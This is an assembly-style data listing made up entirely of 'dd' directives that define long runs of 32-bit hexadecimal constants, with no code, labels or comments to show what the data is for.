		dd 0F8687B42h, 2CF95B16h, 0C1BB1667h, 61E528B5h, 8CB23B65h
		dd 7B5166A1h, 5982195Dh, 0D405EDC0h, 60B25130h,	0EE73CAA3h
		dd 662DEA00h, 0E935B450h, 0CF819507h, 3C5BB168h, 0EF4D3E6h
		dd 0DC4AE9h, 5FCC68F1h,	3690607Dh, 4E2C920h, 2DE6D8B9h
		dd 2FF5F052h, 37A6E15Ah, 0C756267Ah, 42DEC251h,	6FB159DDh
		dd 1C596EC6h, 0FF054Eh,	0B5B951C7h, 315C4D2Fh, 59B006ECh
		dd 1F0C75E6h, 655D5BE3h, 0C81482D7h, 6F545F2Dh,	5FBA4E2h
		dd 5CCBBA21h, 40823505h, 1F830511h, 535B8C45h, 0E2BDBB5Bh
		dd 0FF5AED5Dh, 0B9AC9616h, 0F3325986h, 60BF954Ah, 1D3D5DFFh
		dd 0F15C1979h, 4E804E3Bh, 5C0520BBh, 91108A78h,	9A05B8Fh
		dd 404C981Ah, 480D40B9h, 431D8F7h, 4A087FFFh, 44C7E12Bh
		dd 0F7F7AE67h, 2114151Ch, 2258163Ch, 496AD1CDh,	0CC745B84h
		dd 3EA4D896h, 4B20438Ch, 4F9F8ABBh, 0D8E786E8h,	0B9B8D7D6h
		dd 0FD0589D9h, 270B65ABh, 0EA5ED04h, 6781F331h,	7EE461E7h
		dd 4BC52D68h, 6B596998h, 0DF1D0C27h, 0E9EF3502h, 27E6D675h
		dd 0CD82FFCCh, 0E9346E16h, 8DA8D452h, 68173C22h, 64614A0Bh
		dd 14E411F8h, 440D0140h, 357D6836h, 12C2DEB7h, 383C835Ch
		dd 9B19763h, 0F27117BBh, 40D0C4BFh, 5226BF01h, 6CA16B75h
		dd 133673CCh, 0B451E948h, 0DD5F87C5h, 8B8422EDh, 7C5D0946h
		dd 19653C4Ch, 3EB3B1A9h, 925CFE0h, 19D938F2h, 0CF5FA087h
		dd 92B7BAB2h, 8427AC92h, 37EB0F5Ah, 7714922Ch, 865A83DEh
		dd 1F1B6F22h, 0DE465BDEh, 794547CEh, 8B7F7911h,	0EE884033h
		dd 0ADFF13FCh, 53DB2A1h, 2EE95453h, 1E1DA395h, 775785C9h
		dd 2F0CA779h, 454C6D47h, 4A182265h, 504EDB05h, 92C750DCh
		dd 56B13F21h, 2838B00Bh, 33DAF8E3h, 6A03B908h, 0B067A048h
		dd 2502DCEFh, 1E555BF2h, 85661036h, 0EAE114C8h,	9DAF4EB6h
		dd 81E07F64h, 0BC8D7FB6h, 6BA84396h, 0EA41C376h, 45821F31h
		dd 5BDF315Ah, 4A8E355h,	740E2996h, 3ADA101h, 0B3033888h
		dd 0A06D8CF5h, 0A50C0037h, 99BADBBh, 83735DEFh,	0B0658C5h
		dd 0ED5EA4B2h, 6AFA04EAh, 1DEC65E5h, 0F53D1E09h, 2DE71528h
		dd 292A85F5h, 0A0C9DF82h, 15D5BFC7h, 0BC665E17h, 361A040Ch
		dd 0D2BF6344h, 0F4759831h, 0E9F12711h, 0DBD2A6A8h, 0DFEA0F17h
		dd 0F2067DECh, 16FC1E8Fh, 0FD344E7Ch, 5F5EB678h, 5A4EF210h
		dd 5E271ABDh, 0F99F2E50h, 8B1001Dh, 0F0890C4Ch,	9B3E913h
		dd 0BB35AC40h, 0BE6A82C1h, 0EDD101CFh, 4A3B7AE9h, 0C36D484Eh
		dd 175F2958h, 0ECA48372h, 31ABA530h, 28236BB3h,	369DA0E9h
		dd 93C34A8h, 0EAE10278h, 0AF80A37Bh, 100CE4EDh,	0C7E05E4Eh
		dd 13655EE9h, 779BBEFAh, 0E9F1715Eh, 2FE57F34h,	0FEFE176Fh
		dd 1C8BC6C1h, 0F5CDFC7Fh, 0C9DC2CAAh, 84638149h, 224658A1h
		dd 0C67A65E5h, 0BCABD397h, 94B5F4DBh, 5072EB49h, 0CB13D2B1h
		dd 0D7A0FBD9h, 0ED224F37h, 1E9F8666h, 8360FC61h, 0FA0895D7h
		dd 0A1F63F67h, 7F698E7Fh, 9FD0FA57h, 0D9B4CA9Ch, 84668925h
		dd 78FD3687h, 2E01AE10h, 1E09D7F7h, 15EC7D8Fh, 18D8A227h
		dd 8150C2C1h, 0E1C23A5Fh, 0BCEC4BFBh, 9DDB4EB0h, 5F3905C6h
		dd 0DC652D68h, 6489D21Bh, 904E46D7h, 53C04062h,	96685702h
		dd 0D52F5D29h, 0D6193BB1h, 36F009E6h, 5F48AB4Bh, 2394BD02h
		dd 0A0D369B6h, 5E413143h, 93E44045h, 0F0EA4A87h, 0A3316841h
		dd 0A5F74346h, 92B15D03h, 580C237Eh, 7CB0994h, 415B02EBh
		dd 2F50966h, 276C635h, 6BC1E1F6h, 84166821h, 9EEB7168h
		dd 74A94B1Dh, 0D7D5E8D2h, 0AE4E52FDh, 522905DCh, 0F82DA1C5h
		dd 87F8FDC3h, 0F8BDBA06h, 7E0504E8h, 0ABB9A4CDh, 0C35AB7A4h
		dd 2AB652CFh, 0EEE1F382h, 16D36DA0h, 89301628h,	7C079B3h
		dd 0EB8005E3h, 5CCE3EB4h, 8694F3C0h, 0D163F6CBh, 31C3FE08h
		dd 5C1C0828h, 2DFA3A28h, 54817AD0h, 0D13A8A40h,	517A63DDh
		dd 0D658566Fh, 3E91B60h, 41002D96h, 4E2EC981h, 0FA027669h
		dd 0AF681F3Eh, 36F1010Ch, 7F6F782Bh, 14BB7713h,	2D249D3Bh
		dd 32688494h, 0EE2AD828h
		dd 63552913h, 0D39141BAh, 0D82C9D1Fh, 5A17A4E1h, 0E6017CD6h
		dd 6DEEF5Fh, 211F83Eh, 2321E0C7h, 0C29F4860h, 0CBDAA909h
		dd 0B8040C7Ch, 8734782Ah, 6FD56733h, 0E9EB2921h, 0F449CA95h
		dd 0EE29EEA6h, 86E92EE6h, 0E3818031h, 4BE242DCh, 10D3F730h
		dd 7E400AC3h, 6FF31650h, 21E1003Fh, 3913E9DDh, 3EBE65B5h
		dd 8321F325h, 2C02C368h, 807CC195h, 0CB7AF3E2h,	0ED1113F2h
		dd 7C1059E3h, 5ABD05B6h, 3B80D001h, 133E3ACDh, 1455DCCh
		dd 135872F0h, 0C14A8324h, 13C6D1Ah, 0AAF92218h,	20EE01D9h
		dd 72402AA9h, 37090968h, 10031327h, 50EFCEEBh, 0E9DF89ECh
		dd 8C0DD031h, 0BD28C230h, 9878BBA7h, 7FD3C4B5h,	0F4A74BE9h
		dd 503070Bh, 4973B672h,	6DF4CF89h, 0AF7316ABh, 680A4B8Ah
		dd 648E3C35h, 0E4ACAA54h, 0DF9357E8h, 5E9EBF32h, 11032733h
		dd 0FE8410EDh, 8BA1B3F2h, 5ABC4C2Ah, 0F4525626h, 8DF08A16h
		dd 387D9D5Ch, 187EC11Ch, 0C51FD09h, 27052EB2h, 56E92975h
		dd 0F1039182h, 17052676h, 4BAF9F5h, 7E54DFA8h, 9C4085E8h
		dd 0F5E91703h, 7BC1E759h, 0D606F627h, 0C3807049h, 0B0E494Dh
		dd 2971F4E9h, 98CB0016h, 73A25Ch, 3807CE81h, 70E90EEDh
		dd 524EC6Bh, 62E8E555h,	323DF305h, 57D1C06Ch, 0A5E823Ah
		dd 0F55ED809h, 0F66F2E51h, 0E0FF4604h, 0AEACB605h, 44EC9AA1h
		dd 0E87CBE0Ch, 0ABE8C9D3h, 8980D785h, 416EEECAh, 0BB097B24h
		dd 4B5ED838h, 9381F25Bh, 0AEE671FAh, 136867DDh,	0E4D189CAh
		dd 810048F2h, 1EE0A7EAh, 4EE395Bh, 0C35FF971h, 14881F6Eh
		dd 32DE412Ch, 0B57E3F50h, 401600A5h, 641C68C0h,	5D5D7079h
		dd 3AB2509Fh, 4EB80402h, 0FE2115E9h, 0D126B98Dh, 7B34829Dh
		dd 82803F32h, 78F31895h, 0F125E97Ah, 0AD1157FEh, 4C322F07h
		dd 10C35688h, 0C1800F66h, 3D24044Ah, 4B108ABAh,	7B8E71BFh
		dd 5C8C6B92h, 0F4E241D8h, 78D2E4B8h, 0CE077EF9h, 60667C75h
		dd 142728C3h, 10EE635Eh, 445E08F7h, 19C85B84h, 4C210278h
		dd 96B7BD11h, 487D7D9h,	3FF2EF80h, 82B697ECh, 10F92837h
		dd 0DFB75353h, 335B0E0Fh, 840E2452h, 8DEA64ACh,	0F1C561E2h
		dd 393B4E7h, 6DBB0905h,	0BE00EEC1h, 474559F6h, 1C0CCE31h
		dd 687BC4C0h, 0F299387Eh, 82B589AFh, 0F2170B4Bh, 9993985Ah
		dd 6EC70882h, 0EA2C5C26h, 0F5FA2892h, 5B7EECB2h, 5CB816D3h
		dd 1FCB9540h, 8A671E3Dh, 83FA1726h, 76BA52DFh, 6A463EE1h
		dd 0F8DE1EE5h, 0EBD0D328h, 31485BCAh, 4F3EEF10h, 0C13449BAh
		dd 0CD562077h, 580E03DDh, 4510DD4Fh, 0AD582754h, 0D60008D6h
		dd 5843AEB4h, 0F25638Ch, 5C42EC7Ch, 3BC4F566h, 0FEE3B912h
		dd 688387A8h, 0FD107FE6h, 5F098E99h, 8FDC5401h,	65195860h
		dd 9CD997Bh, 287480E9h,	2D2F12BBh, 8B9F54F3h, 0C4FDF56Fh
		dd 0D8D9B7CAh, 0D8A6325Bh, 707735E7h, 5CB3B877h, 77119250h
		dd 3DFB4B3Ch, 58F22FFBh, 5C169192h, 43302AEBh, 7D90E110h
		dd 9275B11h, 13FD5A21h,	6C3FD9D0h, 8402E23Eh, 0B9160116h
		dd 42832754h, 58867657h, 93025DAFh, 0FE9477Ah, 813054E5h
		dd 622CAC5h, 0C7427A01h, 40BA7CA0h, 1ADEEA68h, 180E3036h
		dd 0E978485Fh, 0FE504B54h, 0A5A66037h, 59BE077Dh, 0A2725C54h
		dd 1355795Eh, 0C806C282h, 3B65263h, 40B1510Ch, 0E22DE180h
		dd 5A1987BBh, 2F6C032h,	0FC5DE6EBh, 589580Bh, 47D3799Fh
		dd 0A87BFBEDh, 8A808112h, 9685658h, 3E640B0Fh, 0E27C7790h
		dd 939374D2h, 0B6A15A20h, 9392016Fh, 57E9FB87h,	0ABF2C52Fh
		dd 0E9A180E2h, 95166B3Ah, 5E6A1040h, 69BF117Ch,	840B0B6Eh
		dd 0BA4AFB50h, 0D44584BFh, 8A61EB79h, 322B5D9Ch, 4BD94069h
		dd 0E29FE98Bh, 0B2FDB92h, 44F53B4Bh, 0F4F2A05h,	0BFF15E99h
		dd 0D4BE3C12h, 5B2CEA15h, 163C32E9h, 9BFD6C35h,	5C47E912h
		dd 0F53AC049h, 75D12262h, 5B580640h, 0E1531589h, 478F5D0Ch
		dd 0D995DDC2h, 0A539285h, 0AD976D00h, 98B47BD0h, 33FDE00Eh
		dd 2FE9DAE0h, 0BD73CAD4h, 0AF33BFBDh, 68C369FEh, 0E32F7ECDh
		dd 75EADA10h, 2C1F43C7h, 8441B6EFh, 0C4F14AABh,	1CE856Ah
		dd 0E1C05860h, 2F95F407h, 0B0DEE69Ah, 1624E40Eh, 2DF69CEAh
		dd 3EE9198Eh, 70E7C3FCh, 7F9709D0h, 6817DDB4h, 45643C38h
		dd 0CFBDAFD1h, 38668004h, 36486B6Dh, 1359053Ch,	12AF2561h
		dd 5AFDFC8Fh, 8DD13F0h,	1B32E7Fh, 8B0AED24h, 25022232h
		dd 0C0E7FA56h, 307FFB6Bh, 0D8181986h, 50979967h, 5C7609E0h
		dd 0A8DD0452h, 4624086Eh, 0D6E0C60Dh, 130D1E3Bh, 5D10491Ch
		dd 0A32774FAh, 2556E43Bh, 930912E9h, 46AF1A65h,	9B68126Dh
		dd 5FEAE33Fh, 62483FF9h, 0BFB85017h, 0BF3605C6h, 0E925D97Ah
		dd 93CEF41Ah, 9464EAF3h, 0C9EE8485h, 0CFE9D824h, 0D8E38C4Bh
		dd 0B6B1707h, 3A09DF2Bh, 3A025413h, 2AE4E1EAh, 0D2F15536h
		dd 78032560h, 5080B42h,	81A3B801h, 8D3BF6D6h, 4CDABCD8h
		dd 0E5B7A7DCh, 0E4A0B01Bh, 159895F4h, 9824D98h,	0B4985DEh
		dd 8807BFB8h, 295A59CFh, 0BABC5DDh, 0C02356E9h,	0ADB9F531h
		dd 0D6334803h, 873C8E42h, 2EDFE218h, 86A18357h,	0A5496B01h
		dd 75C25813h, 9FC8E0B1h, 0DC4B1CE4h, 0A24AF2FDh, 49BE358Eh
		dd 89A8E2ABh, 701E9A66h, 0F965B7E9h, 683EEDA0h,	48598673h
		dd 0BD0D632Dh, 80E320C8h, 0EABAF788h, 4B555CD7h, 1252A24Eh
		dd 62C8D9A1h, 49EC2768h, 0D527DE53h, 0AF40F460h, 496364Ch
		dd 506E7B25h, 68EC05EEh, 3041A213h, 3C2E2E5Ch, 176B9E3Fh
		dd 7614BDF8h, 2EE8044Ah, 47E9FBB2h, 0F0416B49h,	0BFCEFA26h
		dd 528EE07Ah, 0C5B9774Ah, 0CAE259C8h, 2D26D37Ch, 320946ECh
		dd 0F619125Eh, 49A68436h, 0D2C3BFFAh, 8018F16h,	0EE3AD701h
		dd 5F29682Ch, 0C413E974h, 37F9FC48h, 5E49E94Fh,	0FFBD52EFh
		dd 94C4C0B2h, 0F20392B1h, 13FBD6Ch, 940399CAh, 0C704D1Eh
		dd 0C97A9BF4h, 13DE7284h, 0DBDEE7BCh, 68D9C4A0h, 4C77EE54h
		dd 0D25B161Bh, 7F4EFE74h, 5C24D0C4h, 0AB85139Ch, 0EC7BFB8Dh
		dd 0A3FFB5A8h, 0FD2577D2h, 2D80C6FEh, 0B2E66470h, 62148D5Eh
		dd 63160053h, 5759257Bh, 5550010Ah, 0A60967BDh,	5A54CE71h
		dd 0D673CB00h, 0B0D8F712h, 456B006Ah, 14053DD0h, 2B4F8D67h
		dd 70128E1h, 0B93E095Fh, 4EF04BF3h, 25A3B4BFh, 0D6FA8C94h
		dd 0CD4D5CB6h, 0DFA230ECh, 0BE1DE16h, 30D7670Ch, 17EF732h
		dd 4757B86Ch, 7B3E15E9h, 6B7BA1F7h, 827D1793h, 0A0F470FDh
		dd 7FA7E6CDh, 516200FBh, 2A3F6852h, 30903392h, 710FF202h
		dd 0E2891042h, 0C7AFD71h, 0A323FAC2h, 0DDBE62F6h, 38325F41h
		dd 0B85E0239h, 697185C3h, 637C5B95h, 7A56614Fh,	275F406Ah
		dd 514CC42Fh, 0C460416h, 10D386C2h, 6E5C6089h, 7FFA4879h
		dd 55F2055Ah, 0FACF9F13h, 0F0210731h, 21D38F77h, 0D6F4663h
		dd 9C7C5020h, 76E1631Eh, 84C79F01h, 2906165Ah, 0ABF2A02Bh
		dd 8FC50764h, 0BF5E68ACh, 801C1668h, 0B74BE9E3h, 0C130FE87h
		dd 0B728ED49h, 67FEE344h, 411DF796h, 0F6427393h, 0D61CF368h
		dd 4B8B679Ch, 96201464h, 13AEE6B8h, 1E40F77Fh, 494E9267h
		dd 0A58BF3E1h, 11CE90D5h, 10599D18h, 0FB5DEB42h, 58C30990h
		dd 0AF077B5Fh, 5972C87Eh, 0C0EF494Ch, 0D3F7E90Fh, 6C240046h
		dd 93E02715h, 29DB9C55h, 0BCB3DC7Ch, 0A0891D25h, 91EDAAFCh
		dd 66F0CB04h, 31C905Eh,	5B461C9Ah, 0CF1FE21h, 8BB32EEDh
		dd 68FD5D79h, 0D2E58101h
		dd 403CA454h, 91133187h, 89254D00h, 3578AE36h, 0FA3824BEh
		dd 0FD2E15B2h, 323C294Eh, 54871653h, 0AF4174AAh, 4B1D77ADh
		dd 927E7C87h, 9FFD9A26h, 15022360h, 5DA583B4h, 0ED580004h
		dd 0DBA4A96h, 0D1505E0Fh, 3BA36E03h, 9E10FE4Eh,	12FF5B08h
		dd 57CCD06Dh, 226084E9h, 6F38F6F3h, 89632694h, 59DFA1F7h
		dd 5D403BD5h, 0A60A94CBh, 13F3EC0Dh, 2BF1BDFh, 0A32EB784h
		dd 12203A60h, 3877C2E1h, 0F57868B0h, 39BF518Fh,	0FE7465FCh
		dd 256F52C9h, 38E16866h, 57132AE6h, 21E1DAF9h, 4A7A92D0h
		dd 802AA1E1h, 0BF78063h, 8B9719F6h, 4C2189BAh, 9CA29513h
		dd 45462954h, 1D9443F0h, 55685904h, 248BA3FBh, 0AFAD4566h
		dd 4C8C263Dh, 0C138312Eh, 62DB1E4Eh, 54B3D81h, 0EF01AB5Ah
		dd 1E0865AEh, 269C8789h, 55E20A1h, 0AC027C7Eh, 5C9B2D38h
		dd 0F8E1E184h, 94078FF2h, 13094911h, 1A915456h,	0A83BF176h
		dd 12DE8454h, 5DD908D2h, 0D45B3F16h, 0E66ED1B1h, 0C829C805h
		dd 445D4280h, 0EB8C07EBh, 377CABFDh, 0A7F7E321h, 65507073h
		dd 0ADC7F901h, 520977E9h, 0FCCD255Bh, 0B25D3052h, 0C7680918h
		dd 0C17C9B4Dh, 313B09E4h, 57FDF14h, 3905B3B8h, 8701BC1Bh
		dd 8548E1Ah, 0ABE0C60h,	60C963F3h, 0BD7E4127h, 4863FFFEh
		dd 3B4372D1h, 40C91B98h, 5309B86Ah, 7790A2E3h, 84311004h
		dd 0D13BE42Eh, 6C93FE9h, 6D3A987Eh, 0ECA34A5Ah,	8D363C09h
		dd 7700575Ch, 0E96F121Eh, 0D45E5340h, 45FD6805h, 2A7CC109h
		dd 9A3996h, 42DD0CA6h, 3D7DCF81h, 0D8E0F436h, 343A26E4h
		dd 97217895h, 0F0ED7070h, 0F8611BE9h, 97C3803Eh, 0D387FC6Fh
		dd 0E8430BDh, 0FFB81378h, 0A5CB4626h, 5BCB05D5h, 4B1A9DB0h
		dd 16D4E9DBh, 88FFCA97h, 49B77FBCh, 0B141545Fh,	892A9136h
		dd 3D3430F8h, 104FBFEAh, 0A2409BEDh, 5D909856h,	0EB97FE28h
		dd 0D2F12B52h, 0A8CFC53Bh, 5D08D265h, 0E208863Ah, 93277066h
		dd 920D5941h, 0C1ECF095h, 35EF31E9h, 68ACE090h,	9BA3914Bh
		dd 9C92503Fh, 0B6EE527Eh, 0CBF92659h, 0C744C0A7h, 71E66228h
		dd 5FDA51CFh, 0FE2FEB27h, 1014516Dh, 80FED921h,	3D182DC1h
		dd 920C286Ch, 7672F78h,	0CC270140h, 63836D3Bh, 0D908E1B4h
		dd 97BDD245h, 12C907BFh, 0BDBBF04Ah, 0B7FEBFh, 3E7FB02Dh
		dd 0E8282979h, 50BD0705h, 5771BDDAh, 0C182CDCFh, 5A76506Dh
		dd 4C8E2F84h, 6AA884B0h, 0CEDD3104h, 1F61228h, 40F775F4h
		dd 1F1EBE4Ah, 5DA79080h, 0C9EB8684h, 0D1A26AF9h, 0E188BBA4h
		dd 35EB0468h, 0C45F1741h, 7CA2AA4Ah, 685AD180h,	0EE863DE9h
		dd 436C6329h, 57107BD2h, 47258ECFh, 0C30F3372h,	3F62E85Ah
		dd 0A4E48DCBh, 36444416h, 57EB402Dh, 25413A15h,	875AE3D1h
		dd 0F6987E3Dh, 0DF86E909h, 4B92FCFEh, 51D760FDh, 0E3DCBFB9h
		dd 0F7591C32h, 27E3C6F9h, 0CB81346Fh, 8B4FA5Eh,	0CD0D62E7h
		dd 7054225Eh, 692FE950h, 5603190Fh, 3104ADE1h, 4DF61784h
		dd 0EAF919C3h, 0BBAF5E9Dh, 0D056B40Ch, 77401F7Ah, 0FD8AA066h
		dd 0C5CDFF99h, 70F52B80h, 68394F2Fh, 46721227h,	0F95659EDh
		dd 942A05Ah, 9287E2Ch, 0D85108h, 685366ACh, 19972231h
		dd 0B42E4B6Bh, 0CA09808Ch, 0C391E99Ah, 63F1C1FBh, 162B7AE1h
		dd 0E1DBA919h, 307CF8E9h, 2296BA00h, 0D58946FAh, 83B2ACF8h
		dd 15EE51F0h, 0D52F429Ch, 0E90BA215h, 0B139CB05h, 0B5D7BF7Bh
		dd 5BD3DEEFh, 2CBD01FBh, 0F7E8284Ah, 5E3F5A7h, 0B98A39DFh
		dd 7368B0AAh, 8649CA38h, 0F96BA7C5h, 840AF1C9h,	0E58681Ch
		dd 5CA5CFBBh, 55512789h, 0CCEA92B4h, 5A0DDA5Dh,	0BE5BA3E8h
		dd 75061F12h, 0FA7B432Bh, 638A1ECEh, 12DEA8E8h,	0A0F829C4h
		dd 4E41C686h, 2C18B06Ah, 122CE1Dh, 8A17DBCh, 0BAF87F5Dh
		dd 6E551BB1h, 878A291h,	8CBA0D80h, 0D1660D7Dh, 0C0AD895h
		dd 4B19791Bh, 3D3FF1Ch,	33227EB8h, 50A3F6BFh, 0C63247BEh
		dd 0F23DE8BAh, 31D97737h, 0C14522ADh, 0DF183858h, 0DFD5428Fh
		dd 787BDEE5h, 1284B850h, 0B7B12DE9h, 0C32816AAh, 80641B01h
		dd 0E3C11DEBh, 0E951D7D7h, 0E23FD7A7h, 87B08569h, 5A6A0Bh
		dd 6E7858FAh, 4F68FC3Dh, 0A167FAD8h, 0D8BB59A5h, 0C4BB36Eh
		dd 30B1C9FAh, 9003F14h,	0E5815862h, 9FC79E0h, 0B5E94565h
		dd 32B50350h, 0C581A8CDh, 5C186F0Dh, 0BE04B07Bh, 2563D559h
		dd 0B03CD4EFh, 6354850Ch, 0CBF6444Bh, 756BE90Bh, 0CEC4B82Eh
		dd 0F3E190CCh, 0DC58887Fh, 0B0FEB317h, 90E8B252h, 800291FEh
		dd 0D42876F2h, 0EC78D05Ah, 0CF12F428h, 0B92A1641h, 7521582h
		dd 0D85A8B85h, 17BA7F28h, 1344616Fh, 0C0B71C05h, 94066EF9h
		dd 9D4F1DE9h, 41821DA4h, 50006E3Bh, 0C58008E5h,	9A63BD1Dh
		dd 0E949CBB0h, 0E759C868h, 2D4ABDBEh, 2BDBC24Ch, 0C15D53A1h
		dd 7EAE6EE9h, 2779D0B3h, 58C84273h, 0F7828076h,	0F967550h
		dd 63F61F0Bh, 0FC08B2E3h, 167425B0h, 96CF31C3h,	3B681609h
		dd 8791E30Ch, 4C7D80E9h, 2E50820h, 67B621E7h, 3940DDF7h
		dd 492DDE1Fh, 7051C298h, 6AB09F0Ah, 0F1881F8Bh,	5D451211h
		dd 3B24EF0Bh, 8F003595h, 27E64978h, 62E00225h, 0BCE907ECh
		dd 0F92DFBDCh, 0E1F740CBh, 695EA468h, 0A060EB8Dh, 0E9D44181h
		dd 0C0983BE5h, 0B3594ACDh, 0B7EAD3A0h, 0E1445AEEh, 0D31E0338h
		dd 909DFAC8h, 75C5042Ah, 0C45F0E93h, 0D695B98Eh, 5BF8ADC2h
		dd 54E7A7B5h, 772691ACh, 7D7CADh, 8D3FA005h, 0D9023562h
		dd 0E94B9545h, 96615828h, 0BF007A65h, 379B1807h, 5BD80907h
		dd 4E60F80Dh, 0BE0C112h, 176C6808h, 3BE9A9E6h, 7CB2F807h
		dd 4C219E73h, 909C04Bh,	0A9D53E6Eh, 5024810Eh, 0C96481Ch
		dd 0E60F3001h, 7D15D2B8h, 0EB4CA29h, 53480FD3h,	840AAA9h
		dd 125F975Ah, 58FE8B83h, 0E6F19D02h, 555F8DC2h,	348B3171h
		dd 0A1836EAEh, 0ABF910BEh, 0C263402Fh, 10E44F5h, 203C249Dh
		dd 2941D081h, 6814F638h, 4000B7DAh, 0B65CF725h,	4F00352Ch
		dd 56F221Ah, 4B1E5486h,	0F8E31255h, 0F32113F5h,	0EC7264EBh
		dd 0F402B7A8h, 5A9F76FEh, 1D2C7860h, 0DC39452Dh, 7E170094h
		dd 0E953343Bh, 1607EF27h, 0CB5550A9h, 6A7C9541h, 394A6841h
		dd 531A33Bh, 175D44CCh,	2E1EDD90h, 41322D1Fh, 0FBD08DEh
		dd 61ABA2A0h, 4859C889h, 0F6F21F1h, 0E7EC47D7h,	43DF726h
		dd 1591D080h, 4176C59Ah, 81DFF5EAh, 489ADA09h, 2E61EC68h
		dd 17D4C90h, 58844835h,	0D568D929h, 63346A70h, 0B2EB0F25h
		dd 0A05FCA84h, 5D066489h, 73B0EE98h, 98957597h,	99617D0Dh
		dd 763A4834h, 90E12E7Ah, 7C13A0h, 0F56C9942h, 0CD7A092Ch
		dd 0DFFD912Fh, 6FFCA629h, 4685FA12h, 8874ED04h,	756B61BBh
		dd 96540C0Eh, 52E4489h,	0F112F028h, 98182DD1h, 0DFC29581h
		dd 428703FAh, 5F0502F5h, 542A201h, 24800BC5h, 2A4C53A4h
		dd 0E7CB17E9h, 123AD7BFh, 900D785Dh, 4A549D5Bh,	5BA0011Fh
		dd 858CB85Dh, 8FC961A2h, 4C29D648h, 283159D6h, 0E8D5EF97h
		dd 1926C4Dh, 800506CFh,	9FCF06C7h, 4BF0B746h, 56315A2Fh
		dd 1F415A4Eh, 468630Eh,	7F6D6857h, 0E9C231A3h, 0D174E8E0h
		dd 0A2BF8F64h, 18E248AFh, 0BE225D25h, 4C6B0963h, 5AF74E29h
		dd 5B5A7877h, 0B7EB49FEh, 0D97DA8E2h, 5471EB2Fh, 34C96805h
		dd 9A848FEDh, 0CB810038h, 1F746242h, 0E5E3C11Fh, 0F80BCEDAh
		dd 9C96F4Bh, 7FCF42FAh,	63C981CBh, 0DD0F6420h, 0EE2C5B4Ah
		dd 48FBE893h, 793FFD72h
		dd 0EB7BE292h, 427D3A0h, 0E9707F40h, 4A73D25Eh,	0D7AC6BF7h
		dd 0A4ABD564h, 681D66F5h, 0CD305D67h, 0D6D10CE9h, 49CEFA8Eh
		dd 23E98C61h, 0E22A64E5h, 17F065Ch, 4684F281h, 88284FB2h
		dd 0D3276812h, 33994BD2h, 5C72AA3h, 0F523EBE2h,	0E00B12E5h
		dd 78BBF513h, 78F6E5D9h, 9369C4B9h, 165FD5CAh, 641CEF09h
		dd 93342828h, 61EE3AD2h, 0A7D64B4Fh, 98A5016h, 7BAE44F2h
		dd 2A8B46DFh, 0C7CB56E9h, 0A2545511h, 3DB23B8Fh, 2AC27680h
		dd 176240Fh, 8888B90h, 5BD85AD7h, 89042EF6h, 13BB2EEDh
		dd 4C641F10h, 0E695DDE3h, 0B779F00Ah, 0C02EE15h, 0C2102708h
		dd 77631238h, 820634Ch,	30E4B056h, 0C56509ABh, 0EC74B269h
		dd 713E295Ch, 0FC13C1F4h, 0CFF745Eh, 0BB74D06Ch, 18268305h
		dd 0D4004B45h, 8B3C74EBh, 0F70CC235h, 4055FC68h, 2E967726h
		dd 401B688h, 0BED6D5E9h, 76DA0149h, 42E787E9h, 6025C75Ch
		dd 0DF0801CFh, 0BB533B00h, 1F72265Fh, 2158C343h, 0EFF5731Ah
		dd 78448C4h, 8B929FE2h,	0E82924D5h, 4BCFB743h, 4A90FDC0h
		dd 0FEDEC5FFh, 0A290E92Dh, 94680E59h, 35290Eh, 3911F66Dh
		dd 89671398h, 0FFCE0BF7h, 825907C2h, 0C0EDA7BDh, 16C4BF23h
		dd 0E9757B74h, 0F558C93Ch, 36BEED90h, 81422700h, 0CD02EACAh
		dd 9909051h, 55F16EE9h,	9F03E7D8h, 0F7155642h, 2362EDBh
		dd 17D224A3h, 81F75EA1h, 3E0F59A5h, 19E5E451h, 910E217h
		dd 15C28645h, 5FC97C1h,	21AC8h,	0D4BE567Ah, 2942A649h
		dd 4C5EF02Eh, 280A0514h, 259A152Dh, 23155D95h, 0E966CDA1h
		dd 5BA4CB26h, 0C4091879h, 0FD298702h, 0B1163128h, 82E87A3Ah
		dd 943DEA7Dh, 72256FAEh, 517D8C3Ch, 0F68AB109h,	1CD876D9h
		dd 0F0CBA0E4h, 0F9627DC7h, 0A985AC89h, 2F5EC928h, 185E494h
		dd 98BF3AFh, 0F2EEE9F5h, 4DC5005Ch, 5EA1203h, 9527591Ch
		dd 81485878h, 10A55D07h, 0D72FB660h, 0E558C1FEh, 63F51F5Eh
		dd 4507C507h, 306EDA3h,	1BDCE850h, 0C2AC011Ch, 517F5C61h
		dd 3BA73C74h, 39BDD180h, 2D6E8A06h, 40FCB350h, 745DE104h
		dd 86A2875Bh, 0E6483DC9h, 0BD111359h, 85C4D9E8h, 0DD290741h
		dd 0FEF2E7F1h, 2877797Eh, 0DF4C644Fh, 9B374EF1h, 1DAD583Eh
		dd 3A82C28Fh, 0FFEC4968h, 8A9E5CBDh, 3ACDA01h, 7D53D85h
		dd 4D47ADB5h, 5FF6023Bh, 7D28B341h, 0C9555801h,	0E60C8F36h
		dd 29CE02D3h, 9FF4C5F2h, 2DC2165Bh, 85E92E71h, 10F35E74h
		dd 5510A7C3h, 0EEC1032Dh, 0C5526805h, 0A9515822h, 0B08F4B7h
		dd 1CD50710h, 47B1076Ch, 3246F180h, 6155E2EBh, 176F3973h
		dd 6DBC61B9h, 0DAA07CDAh, 25805F19h, 38FA1772h,	3BA9DEA0h
		dd 87481D06h, 90064FF9h, 0CBAB09B8h, 64DDADFAh,	0BA53D5Fh
		dd 88B260Bh, 0F008DDD3h, 2D4EA64Ah, 0DBD989FDh,	15E90F35h
		dd 3FC127D9h, 101818ADh, 55F61712h, 0B51F1C7Ch,	6B49F731h
		dd 3296771Ah, 0D08295ACh, 2D46E7D7h, 57553AF5h,	0E943887Ch
		dd 2CBBA58Bh, 0BF0B575Bh, 875529EBh, 0DF24D73Fh, 0F32B8FAh
		dd 0D22A94F2h, 59E963F0h, 4097B77Ch, 2D13C549h,	0FF95292Eh
		dd 0C0BD99Ah, 96F70910h, 2B55180h, 8DC580E3h, 6771EE30h
		dd 0FA3ED09Eh, 172CB714h, 3521308Ah, 25127B68h,	72804B43h
		dd 1B9967B2h, 0DDCB893Ch, 0FE0E12C9h, 0C7EB0D40h, 0BA8DC897h
		dd 2384B5CFh, 8FD110E3h, 5D974955h, 0BFC4AB9Ah,	0F0C5405Fh
		dd 52991FBBh, 0AF72572Bh, 0C67750Bh, 95EB86FDh,	0E3080957h
		dd 0C3D8969h, 8325E03Bh, 0CB7E74Eh, 572EA958h, 0E368504Eh
